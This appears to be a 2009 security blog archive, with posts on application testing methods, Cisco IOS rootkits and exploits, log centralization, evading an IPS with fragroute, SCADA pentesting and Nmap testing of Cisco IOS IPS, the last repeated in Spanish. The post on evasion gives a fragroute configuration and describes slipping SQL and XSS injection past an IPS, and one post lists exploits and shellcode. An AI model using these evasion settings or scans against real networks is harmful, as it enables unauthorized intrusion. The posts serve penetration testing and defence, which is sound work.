Application vulnerabilities (in broad sense) can be divided into following sections but not limited to:

Operation/Platform Vulnerabilities
-Asset information disclosure
-Buffer Overflows
-Error Handling
-Resource specific threats

Design Vulnerabilities
-Logic Flaws
-Access Control (Authentication/Authorization

Implementation Vulnerabilities
-Code Injection
-Information Disclosure
-Command Execution
-Functionality Abuse
-Input Validation
-Time and State

Now to test the security of the application, one may apply either of these methodologies:

-Automated Dynamic Tests (Fuzz Testing, Vulnerability Scanning)
-Automated Static Tests (Source or Binary Code Scanning)

-Manual Dynamic Tests (Parameter Tampering and Social Engineering)
-Manual Static Tests (Source or Binary Code Auditing)

Although each of these methods have their own strengths and weaknesses. Thus, we assume not the best, but atleast more efficient and reliable method can be judged by looking into their specific testing process.

Automated Dynamic Testing
While approaching to disclose application vulnerabilities under this method, the complexity ratio increases when moving from vulnerability scanning to the fuzz testing.

-Less false positives (inherent benefits of run-time analysis)
-Programmatic approach to ensure reliable and consistent tests output

-Threat assurance, No Fault != No Flaw
-Only the part of code audit may provide baseline for measurement.
-Unexpected conditions cannot be tested without additional programming.

Use Cases
-Fuzz Testing (complex input, informal SDLC, observable indicators)
-Application Scanning (strongly typed flaw classes, deterministic and observable behavior, known inputs only)
-Vulnerability Scanning (known transaction sequences, one to one mapping of triggers to specific conditions)

Automated Static Testing
This method can disclose the set of vulnerabilities present in the application by examining the code (source/binary) without user interaction. Several commercial and open source tools are available to perform automated static analysis. The complexity of such tools increases from normal flaw identification to the formal verification process.

-Assessment of low-context flaws (parameters, DB query statements, etc)
-Automated scans required little or no human interaction
-Can get good placement during development lifecycle

-Applications without presence of their source code.
-High ratio in false postives or negatives, tuning is harder.
-Critical issues with formal verification
  1. Developing and correctly expressing a set of security invariants.
  2. Developing an interpretation of the application that lends itself to proving/disproving invariants.
Use Cases
-Timely and resource-specific detection of simple flaws
-Detection of regression as a part of development lifecycle
-False assumption on strong assurance of the critical application
-In the hands of a developer who cannot interpret or filter the results correctly

Manual Dynamic Testing
The manual dynamic assessment apporach can be achieved by human-navigated application usage followed by assurance validation process and fuzz testing. A critical background information on application design can be provided by the developers. The complexity of manual dynamic testing process increases with its level of common criteria, assurance validation to parameter tampering.

-Parallel capacity in execution of tests
-Pattern recognition
-Testing the live implementation may reduce false positives
-Capable of emulating the malicious attack process

-Time consuming for large and complex applications
-May require the tester to hold a steep learning curve
-Test envrionment may not mirror production

Use Cases
-High risk applications require highly experienced security auditor to understand and scope the attack surface
-Wrong application type or the wrong tester background
-A case where the requirements of assessment does not match the expected risk profile of an application

Manual Static Testing
This process involves the interaction of human reviews, understanding application design and architecture documentation, use of offline toolset (such as, disassemblers, code browsers, etc).

-Known data and code points
-Without any resource specific considerations
-Adaptability with skills and toolset

-Accuracy issues (falst positives, human mistakes)
-High resource requirements
-Inconsistency in interpretation of same flaw in different ways

Use Cases
-Manual code audit (skilled resources, minor findings before automated tests, custom-coded scripts)
-Configuration review (low risk in changing values at runtime, known data sources and formatings)

Thus, from the application security assessment methods mentioned above and the statistics from "WASC Statistics Project" prove that the probability in detection of high risk vulnerabilities can be higher if combined set of methodologies are used. And this combined approach is almost 12.5% higher than automated scanning (specific to web applications).

Sunday, July 12, 2009

Cisco IOS: The Geometry of varying Threats

Cisco as a leader in networking market has laid several routing platforms which are being used all over the world. These devices have been a part of internet core, government organizations, service providers and corporate networks for a decade. These all devices basically run the same operating system called "Cisco IOS". Cisco IOS is a monolithic operating system which relies on 3-dimensional complexity, such as, platform dependent code, feature-set dependency and major or minor version dependent code. It is compiled as a single ELF binary and runs directly from CPU. No virtual memory allocated per process, interrupt driven handling for the critical events
and global data structures support.

Now, taking a glance at security issues highlight that IOS is written in plain 'C' language, sharing same address space for transactions, heap, data structures and pointers. From technical point, everything present in IOS can be the prime target for remote code execution exploits from kernel context. Lets take some examples and real-world scenarios available in the public domain.

IOS rootkits
Binary Modification Rootkits
This is a similar type of other available rootkits and their major function is to modify the binary code to implement the backdoor and allow unauthorized access for malicious adversary. There are three types of binary modifications:
1. Image Modification
2. Runtime Patching
3. Boot Patching

TCL Backdoors
As we know that Cisco IOS supports TCL interpreter, such that, a small TCL script can be used to bind an open TCP port for the backdoor connection.

Revealing IOS Rootkits
Flash File System
Obtain a copy of the modified IOS image placed on the flash of the router or on FTP/TFTP. This can be checked further for integrity using MD5 sum from known good sources.
  • Router# show flash
  • Router# copy flash:cxxx0-ipbase-mz.124-11.T.bin ftp
Knowing the configuration changes written to NVRAM can help investigator to reveal the security incident.
  • Router# show startup-config
IOS Exploits
There are several exploits published in the public domain. They can found at the following links:

-IOS TFTP server heap overflow exploit
-IOS OSPF neighbor array overflow exploit
-IOS HTTP server URL length integer overflow exploit (
-IOS FTP server MKD command overflow exploit (
-IOS VTP missing details DoS
-Shellcode that attempts to find IOS functions to execute (
-Password protected bind shell (
-Connect Back Shell (
-Two byte overwrite bind shell (

Detection of Exploitation
Using the following set of commands can help forensic analyst to find out any post-exploitation reaction as an evidence.
show version
show clock detail
show running-config
show startup-config
show reload
show ip route
show ip arp
show users
show logging
show ip interface
show interfaces
show tcp brief all
show ip sockets
show ip nat translations verbose
show ip cache flow
show ip cef
show snmp user
show snmp group


Tuesday, June 30, 2009

Log Centralization, Analysis and Visualization

Although many of us have seen IT companies securing the logs in one centralized location but in one or two they lack visualization in time of incident handling or analysis process. This could raise a serious bar from legal and corporate image perspectives. SEIM (Security event information management) systems can help to resolve these issues but logging, correlation and visualizing from distributed networks has always been challanging.

As we can see that different souces interacting with muliple devices at specific levels to pass the network traffic. The ratio of such typical network to generate logs would be moderate-high. So, why is it log centralization is considered necessary? From my experience, it is because of easy accessibility, searchability, log categorization, identification, correlation and redundancy. While talking about securing architecture of log management, virtualization concepts put the step forward mostly in data centers and hosting farms. The typical architecture looks as below:

{Sources -> Generate Logs -> Virtualization (analyzing, disposing logs) -> Log Management (storing, analyzing logs)}

The typical challanges to this architecture involves balancing the quantity of log management resources, policies and procedures, continuous monitoring of log data, log categorization and access control. On the otherside when considering the visualization, DAVIX Live CD contains some of the useful tools and scripts which make it easier to process data and visualize them to track the incidents.


Saturday, June 27, 2009

Bypassing IPS: A Penetration Tester Perspective

IPS (Intrusion Prevention System) technology was designed to cover the shortcomings of the IDS systems. In technical words, it will not only detect but also prevent the malicious packets from entering the secure zone on your network. Basic firewalls are just capable of scanning and examining the headers of the packet but IPS also inspect the payload inside it. Intrusion prevention system manages a deep packet inspection (DPI) technology to conduct its tests against protocol headers and payloads by gathering more information on attack patterns,
anomalous behavior and controlling the network traffic intelligently. The basic IPS deployment can be done using an open source tools, such as, Snort Inline + IPTables. With this kind of basic configuration, a security administrator would be able to capture malicious packet (snort_inline) and block(IPTables) that sequential traffic from reaching vulnerable host.

Now lets take a look on evasion technique used to bypass these intrusion prevention systems. As we know that there are several IPS vendors in the market today, such as;

- Cisco
- 3Com
- Cyberoam
- Fortinet
- Checkpoint
- Sourcefire
- Third Brigade
- eEye
- Juniper
- Radware
- TippingPoint
- ForeScout
- IntruPro
- StoneGate
- DeepNines
- Enterasys

and others...

These vendors design the IPS technology in different ways but their basic approach of stopping the bad network packets remain similar. Holding a strong knowledge of TCP/IP, an attacker can easily manage to bypass the IPS and deliver the malicious packets destined for the vulnerable host. The technique is known "Packet Fragmentation". However, this is an old method but still useful to bypass some of the vendors IPS. The task to generate and route the malicious packets can be accomplished using 'Fragroute' tool. 'NMap' can do the similar stuff using '-f' option.
Recently, while conducting the penetration testing, I found that the DMZ network was protected with an IPS. Although I am not going to disclose the vendor name, but I will explain the method I used to approach the web application server with malicious SQL/XSS query. However, it should be noted that not all vendors are vulnerable to these specific attacks.

This tool helps the pentester to intercept, modify and rewrite the egress traffic according to the rules defined in the configuration file. By simply modifying the configuration file located at '/etc/fragroute.conf' with the following values:
tcp_seg 24 ip_frag 64 tcp_chaff paws print

This modification will help segmentation of TCP data into forward overlapping 24-byte segments, dervie the 64-byte fragments, interleave with overwriting, random chaff segments holding older timestamps for PAWS elimination and print the output. Fragroute has changed the sequence of the traffic generated and directed them from my attacking machine to the vulnerable host bypassing the IPS. It is recommended that these variable-set should be tested in the controlled environment before applying them for the live network.

The network layout was simple, {Attacker<-->(Fragroute)-->Internet-->IPS-->Webserver}

Its worth noticing that we dont need to use the local proxy to browse the remote web application (true for many web applications auditing tools). So, just browsing and injecting the application with SQL and XSS queries worked very well this time. Another technique can be used in conjunction with fragroute is gzip encoding for evasion purposes.

Problems with IPS
Two major problems should be outlined when we talk about IPS deployment.
-False Positives (need the exact signatures)
-Performance (Latency issues, such that in VoIP network it not acceptable at all)
-Evasion (A simple obfuscation of detectable traffic pattern can make its way through)

However, if we create a conceptual picture of the above mentioned problems. They can only be the reasons because of cost, physical limitations or any specific network envrionment. A small perl based script '' from "" can help to assess these IPS systems for their limitations.

Saturday, June 6, 2009

Industrial Hacks, Controlling and Securing SCADA Systems

SCADA, the Supervisory Control and Data Acquisition system is a software application used to control the process, monitor and gather the real-time data from remote devices in order to manage any hazardous conditions. Its application is widely applied in telecommunication, transportation, oil and gas industry, defense systems, water and waste control systems and power plants. Process controlling and monitoring can be categorized as industrial, infrastructure or facility.

Looking from the security perspective of these systems govern the major vulnerabilities and threats that can easily be exploited by malicious adversaries. For a decade, number of legacy IT tools have been developed for scanning and assessing the SCADA systems security. Number of incidents reported in past have proved the inconsistency of these systems, such that, on 10-June-1999 an "Olympic Pipe Line" company faced the rupture and release of gasoline causing damages of at least $45m and life of several people.

For more information:

Number of security problems discovered while investigating these kind of incidents range under
application response delay, system fault in shutdown and isolation process and various security vulnerabilities such as blank password access on compressor station. SCADA systems basically carry the operations which always hold real-time communication. Many of these systems are deployed without anti-virus to maintain the performance and scability. But at the same time, they are vulnerable to viruses and worms. One such incidents has been reported in 2003 at Davis-Besse Nuclear Power Plant, Ohio, infecting the whole network with Slammer worm and disabled the safety monitoring system. Employing security policies and procedures can remove such gaps from SCADA based network but changing them often is a nightmare.

Penetration Testing for the SCADA Systems
To assess the security of these systems, a traditional approach of Penetration Testing can be used to conduct the assessment in order to assure the SCADA network security. From my past experience in assessing the SCADA application and network, it is vital to defense such network at perimeter level (DMZ, IDS/IPS, Firewalls). Researchers from different security groups has revealed serious security issues in default SCADA system, such as:

-No Data encryption
-No Authentication or Blank Password
-No Integrity statement
-Network Traffic in clear text
-Default system/network configurations
-No backup strategies
-RAS/VPN access without proper security policies
-Physical security

Although the deployment of IT and SCADA system envrionment has similarity but the differences can be measured and the reliable security assessment approach can be done. Major security compliances that could help in achieving this goal include, BS7799, ISO15408, NIST-SPPICS, ISA S.99.1 and CIDX-VAM. Following the similar security approach from IT systems envrionment can help to integrate and preserve the CIA (confidentiality, integrity and availability) for SCADA systems.

Generally speaking, the SCADA Penetration Testing process involve:
-Vulnerability Mapping

The major assessment tools remain same with an exception to modify the methodology of performing pen-testing against the SCADA envrionment as compared to the IT network. Tools like nmap, nessus, wireshark and metasploit play a key role in assessing the security posture of the organization's infrastructure. Custom scripts and fuzzers (SPIKE, LZfuzz) can also provide aid in assessing the SCADA applications.

Additional Resources:
CrISTAL Project:

Sunday, April 26, 2009

Cisco IOS IPS Testing with Nmap Scan

When you are implementing a system on the network, you always perform testing (security, performance, etc.) before it makes an attacker to do so. The aim of this paper is to make a short introduction on one of these tests to be performed prior to the production envrionment we are going to implement.

To benefit from the Cisco routers, I will implement the solution that co-ordinates number of models under Cisco IOS Intrusion Prevention System (IPS).

According to Cisco:

“Cisco IOS Intrusion Prevention System (IPS) provides an inline, deep-packet inspection feature that effectively mitigates a wide range of network attacks.”

Platforms that support this feature are:
800: 871, 876, 877, 878, 881, 887, 888

Family 1800: 1801, 1802, 1803, 1811, 1812, 1841, 1861

Family 2800: 2801, 2811, 2821, 2851

Family 3800: 3825,3845

Family SR520: SR520

Family 7200: 7204VXR, 7206VXR

Family 7301: 7301

Note: As of last May 2008 platforms Cisco recommends upgrading to a version of IOS 12.4 (11) T2 or later, to be compatible with the new signature system 5.x.

If you want to update the signatures, follow the link below: (requires CCO login).

For those managers who are starting in the world of Cisco Security, I have seen that many people like to use a tool, Security Device Manager (SDM). And I think that if this is the first time you are going to deploy such solution it is better to undertake the use of such tool in order avoid confusion instead trying via CLI.

The audience for this paper could be network administrators with basic knowledge of networking, TCP/IP protocol, CCNA Security or equivalent. I will the part of installing SDM and the normal router settings but in case if you need it, please drop me an e-mail.

Here is the scenario:

As in the laboratory environment, we asume that the network segment is and has access to the public internet.

Launching Backtrack to do the scans against NAT-IP of a router, can be performed as:

Nmap –PN –O –sV –v –sS

The results are similar to the following image:

Look at the log of IOS IPS:

The above log shows:

1. Number of Signatures (Sigs) such as: 2004, 3040, 3041, 3042.

2. Display the type of packets: ICMP Echo Req (ping), TCP SYN / FIN, etc

3. The IP source and destination

Using the NMap option “decoy -D”, we try to conceal the attacker's IP with the fake ip addresses, and the results from IPS are shown in the figure below:

Looking at the log, it appears that the alerts are generated with the same number of signatures to the previous image but with different IP addresses (i.e. attacker). While the log shows the number of signatures it matches the SDM and choose an action to be taken in addition to the default which is: “Alarm”. For example, we choose the signature 3040 and add a DROP action.

After applying the changes, run NMap and look at the results shown below:

However, it should be noted that NMap does not give accurate results on determining the OS. Now for instance, choose the first signature of the log (2004) and define the action “denyAttacker”.

Look at the following results from a router after the new action has been defined:

As we can see that NMap cannot detect any open but instead report them as filtered.


Cuando se hace una implementación de un sistema en una red, siempre se deben hacer pruebas (seguridad, rendimiento, etc.) antes de que un atacante las haga por nosotros. El objetivo de este artículo es hacer una pequeña introducción a una de las pruebas que se deben realizar antes de poner en producción el sistema que estamos implementando.

Para sacarle provecho a los Routers Cisco, se va a implementar la solución que traen varios modelos la cual es Cisco IOS Intrusion Prevention System (IPS).

Según Cisco, un IPS es un sistema en línea con características de inspección de paquete profundo, que efectivamente mitiga un gran rango de ataques de red.

Las plataformas que soportan esta característica son:
Familia 800: 871, 876, 877, 878, 881, 887, 888
Familia 1800: 1801, 1802, 1803, 1811, 1812, 1841, 1861
Familia 2800: 2801, 2811, 2821, 2851
Familia 3800: 3825,3845
Familia SR520: SR520
Familia 7200: 7204VXR, 7206VXR
Familia 7301: 7301

Nota: A partir del pasado mes de Mayo del año 2008 Cisco recomienda actualizar las plataformas a una versión del IOS 12.4(11)T2 o posterior, para que sea compatible con el nuevo sistema de firmas 5.x.

Si desean la actualización de firmas hay que dirigirse al link: (requiere CCO login).

Para aquellos administradores que están empezando en el mundo de Cisco Security, he visto que a muchos les gusta usar la herramienta Security Device Manager (SDM), y creo que si es la primera vez que vamos a implementar esta solución es mejor hacerlo con dicha herramienta para que no existan confusiones al tratar de implementarla vía CLI.
Como la audiencia de este artículo es de administradores de red con conocimientos básicos de redes, protocolo TCP/IP, CCNA Security o equivalentes; me saltare la parte de cómo instalar el SDM y la configuración del router, en caso de que la necesiten, no duden en enviarme un e-mail y con gusto les envío la guía.

Este es el escenario:

Como se está en un ambiente de laboratorio, imaginemos que el segmento es un segmento publico de internet.

Con Backtrack realizamos un scan a la ip pública de nuestro router:

Nmap –PN –O –sV –v –sS

Se obtiene un resultado similar a la siguiente imagen:

Observemos el log del IOS IPS:

En el log se aprecia:
1. El número de Firma (Sig) como son: 2004, 3040, 3041, 3042.
2. Muestra el tipo de paquete: ICMP Echo Req (un ping), TCP SYN/FIN, etc.
3. La IP de origen y la de destino.

Usando la opción “decoy –D” del NMap, trataremos de camuflar la ip del atacante con direcciones ip falsas; el IPS mostrara una gama de direcciones como se observa en la siguiente figura:

Si se analiza el log, se observa que nos alerta de los mismos números de firmas de la imagen anterior pero con diferentes ip (entre las cuales se encuentra la del atacante).
Como el log muestra el número de firma, se busca en el SDM y se elije una acción a tomar además de la predeterminada que es: “Alarm”. Para dar un ejemplo elegimos la firma 3040 y añadimos la acción DROP.

Una vez aplicados los cambios, se corre el nmap y observamos el resultado, como muestra la siguiente imagen:

Sin embargo, se debe notar que NMap se le dificulta determinar el O.S.
Ahora para otro ejemplo, se elije la primera firma del log (2004) y tomamos la acción de “denyAttacker”.

Observemos el resultado al realizar un scan al router una vez aplicada la nueva acción:

Se aprecia como el nmap no puede detectar los puertos abiertos y muestra que los puertos scaneados están siendo filtrados.